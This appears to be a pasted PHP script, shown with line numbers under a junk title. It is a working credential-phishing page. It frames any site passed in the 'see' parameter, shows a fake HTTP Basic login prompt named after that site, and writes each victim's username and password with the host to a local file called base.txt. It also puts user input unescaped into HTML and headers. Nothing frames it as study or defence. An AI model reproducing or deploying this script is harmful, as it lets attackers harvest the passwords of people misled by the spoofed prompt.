sdvsdv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?
$see = $_GET['see'];
echo "<iframe name=\"frame\" id=\"frame\" src=\"$see\" width=\"100%\" height=\"100%\" frameborder=\"0\"></iframe>";
?>
<?
function authenticate() {
header('WWW-Authenticate: Basic realm="account"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$login=($_SERVER['PHP_AUTH_USER']);
$pass=($_SERVER['PHP_AUTH_PW']);
Header("WWW-Authenticate: Basic realm=\"account: $see\"");
Header("HTTP/1.0 401 Unauthorized");
$log = fopen("base.txt","a+");
fwrite($log,"Host:$see;Login:$login;Password:$pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?see=$see'></head></html>";
?>